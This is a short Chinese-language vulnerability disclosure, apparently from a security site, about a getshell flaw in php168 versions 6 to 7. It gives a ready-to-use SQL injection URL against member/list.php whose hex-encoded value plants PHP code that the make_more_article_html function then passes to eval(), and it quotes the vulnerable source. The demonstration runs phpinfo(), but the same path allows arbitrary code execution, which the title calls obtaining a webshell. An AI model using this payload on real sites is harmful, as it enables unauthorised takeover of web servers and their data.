php168 v6~v7鸡肋Getshell安全问题 有点鸡肋，需要条件： 1.网站配置为：文章生成真静态 2.允许注册会员
给出v6的测试代码，提交后执行phpinfo()，v7原理一样，只是数据库字段数不一样。
member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28297D7D,6,7%23
漏洞在 www.2cto.com make_more_article_html这个函数：
function make_more_article_html($comebackurl='/',$type='',$aidDB=''){ global $db,$pre,$webdb,$webdb,$showHtml_Type; if($webdb[NewsMakeHtml]!=1||$aidDB=='') // $webdb[NewsMakeHtml] 真静态 { return ;} ... $query = $db->query("SELECT A.*,B.bencandy_html,B.list_html,D.aid FROM {$pre}article_db D LEFT JOIN {$pre}article A ON D.aid=A.aid LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE D.aid IN ($string)"); while($rs = $db->fetch_array($query)){ ... $filename_b=$rs[bencandy_html]; ... eval("\$showurl=\"$filename_b\";"); ...
在 \member\list.php中调用了该 漏洞 函数：
if($step==2){ ... if($Type=='delete'){ make_more_article_ html ("$FROMURL","del_0",$aidDB);
查看更多关于php168 v6~v7部分脚本过滤不严致可获取WEBSHELL - 网站的详细内容...